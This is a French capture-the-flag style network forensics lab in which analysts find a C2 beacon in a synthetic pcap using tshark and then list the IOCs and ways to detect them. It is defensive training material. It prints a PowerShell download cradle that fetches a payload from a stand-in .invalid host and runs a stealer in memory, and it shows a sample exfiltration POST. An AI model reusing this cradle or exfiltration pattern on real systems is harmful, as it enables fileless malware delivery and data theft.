L'échantillon
| Fichier | challenge-08-c2-beacon.pcap |
| SHA-256 | 783cf3544c4096a2c925293a1e9f1099962855cd5e18db7025c420cb9b329504 |
| Taille | 28 paquets, Ethernet/IPv4 |
| Contexte | Capture en sortie de NORTHSEA-DEV (10.10.10.5) |
Capture synthétique. Le C2 est en TEST-NET-3 (203.0.113.66) et résout un domaine .invalid, rien n'est contacté. Ouvrez dans Wireshark ou tshark.
1. Scénario
Un poste a été signalé pour un trafic sortant étrange. Vous recevez la capture en sortie de NORTHSEA-DEV. Quelque part dedans, un implant fait son check-in avec son C2 à intervalle fixe, la charge qu'il a récupérée, et les données qu'il a renvoyées.
Analysez la capture : identifiez le C2, prouvez le beacon, extrayez la charge, et confirmez l'exfiltration.
📡 Le beaconing, c'est un implant qui contacte son C2 à intervalle régulier pour recevoir des ordres. La régularité est le signal : un humain navigue de façon irrégulière, le malware garde le tempo.
2. Objectifs
- Obtenir la vue protocoles et conversations et trouver l'unique destination externe.
- Identifier l'hôte C2 depuis le DNS et l'en-tête HTTP Host.
- Prouver l'intervalle de beacon à partir des timestamps des requêtes.
- Exporter la charge téléchargée (l'objet /a.ps1).
- Repérer le POST d'exfiltration et lister les IOCs.
3. Analyse pas à pas
Vue d'ensemble et conversations
tshark · tcpdumpCommencez large : quels protocoles, et qui parle à qui. Une seule IP externe portant presque tout le trafic est déjà suspecte.
tshark -r challenge-08-c2-beacon.pcap -q -z conv,tcp
# ou avec tcpdump :
tcpdump -nqr challenge-08-c2-beacon.pcap | awk '{print $3" > "$5}' | sort | uniq -cTCP Conversations 10.10.10.5:49512 <-> 203.0.113.66:80 frames 26 bytes ~2.9k (+ une requête/réponse DNS vers 10.10.10.1)
💡 Une seule session TCP longue vers une IP externe sur le port 80, portant des petites requêtes répétées, c'est la forme d'un beacon, pas d'une personne qui navigue.
Identifier le C2
DNS + HTTP hostRésolvez la destination en nom et confirmez avec l'en-tête HTTP Host.
tshark -r challenge-08-c2-beacon.pcap -Y dns -T fields -e dns.qry.name -e dns.a tshark -r challenge-08-c2-beacon.pcap -Y http.request -T fields -e http.host -e http.request.full_uri
stage2-cdn.example.invalid 203.0.113.66 stage2-cdn.example.invalid http://stage2-cdn.example.invalid/a.ps1 stage2-cdn.example.invalid http://stage2-cdn.example.invalid/gate.php?id=8f2c1a9d&s=1 ...
🔴 Le C2 est stage2-cdn.example.invalid à 203.0.113.66, le même hôte stage-2 que le lab fileless #07. Tous les check-ins tapent /gate.php.
Prouver le beacon
timestamps des requêtesListez les requêtes de check-in avec leur temps relatif, puis regardez les écarts.
tshark -r challenge-08-c2-beacon.pcap \ -Y 'http.request.uri contains "gate.php"' \ -T fields -e frame.time_relative -e http.request.uri
30.000000 /gate.php?id=8f2c1a9d&s=1 60.000000 /gate.php?id=8f2c1a9d&s=2 90.000000 /gate.php?id=8f2c1a9d&s=3
⏰ Un check-in toutes les 30 secondes, pile. Un intervalle fixe (ici sans jitter) est la signature classique du beacon. Les vrais implants ajoutent souvent du jitter : cherchez des intervalles presque réguliers, pas seulement exacts.
Exporter la charge téléchargée
export d'objets httpLa première requête a récupéré un fichier. Exportez les objets HTTP et lisez ce que le C2 a servi.
tshark -r challenge-08-c2-beacon.pcap --export-objects http,./objects cat ./objects/a.ps1
$u='http://stage2-cdn.example.invalid/payload.dat';(New-Object Net.WebClient).DownloadFile($u,...); [Reflection.Assembly]::Load([IO.File]::ReadAllBytes(...));[NSD.Stealer]::Run()
📥 Le /a.ps1 servi est exactement le cradle stage-2 du lab fileless #07 : il charge une assembly en mémoire et exécute [NSD.Stealer]::Run(). La capture réseau et les logs hôte se corroborent.
Attraper l'exfiltration
http.request POSTLes beacons sont petits. Un seul upload bien plus gros ressort : c'est généralement les données qui partent.
tshark -r challenge-08-c2-beacon.pcap -Y 'http.request.method=="POST"' \ -T fields -e http.request.full_uri -e http.content_length
http://stage2-cdn.example.invalid/upload 1010 body: host=NORTHSEA-DEV&user=alex&data=QUxFWDpO...(base64)
✅ Un POST /upload d'environ 1 Ko, écrasant les réponses de beacon de 2 octets, portant host=NORTHSEA-DEV&user=alex&data=.... C'est de l'exfiltration sur le canal C2 (T1041), les données volées qui partent.
5. Détection
- Chassez la périodicité : groupez les flux par destination et regardez la distribution des temps inter-requêtes. Un pic serré (même avec jitter) est un beacon.
- Alertez sur les sessions longues à faible volume vers une seule IP externe, et sur les User-Agents non-navigateur faisant des requêtes web (ici un UA PowerShell).
- Appliquez un filtrage de sortie et forcez le trafic web via un proxy ; un poste qui parle HTTP directement à une IP brute ne devrait pas arriver.
- Injectez domaines et IP C2 dans vos outils DNS et NDR ; corrélez avec les logs hôte des labs #06 et #07.
4. Synthèse IOC et ATT&CK
| Type | Valeur | ATT&CK |
|---|---|---|
| Hôte C2 | stage2-cdn.example.invalid / 203.0.113.66:80 | T1071.001 |
| Beacon | GET /gate.php toutes les 30s (fixe) | T1071.001 |
| Charge | /a.ps1 loader en mémoire (voir #07) | T1105 |
| Exfiltration | POST /upload, host+user+data (base64) | T1041 |
| User-Agent | UA PowerShell/5.1 sur le port 80 | T1071.001 |
6. Références
Commande et contrôle sur HTTP/S, dont le beaconing.
Renvoi des données volées sur la même connexion C2.
Filtrer, suivre les flux et exporter les objets d'une capture.
Détection statistique de beacon sur la télémétrie réseau.
Environnement entièrement fictif, à usage éducatif uniquement. Le C2 est une adresse TEST-NET et un domaine .invalid non résoluble.
A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.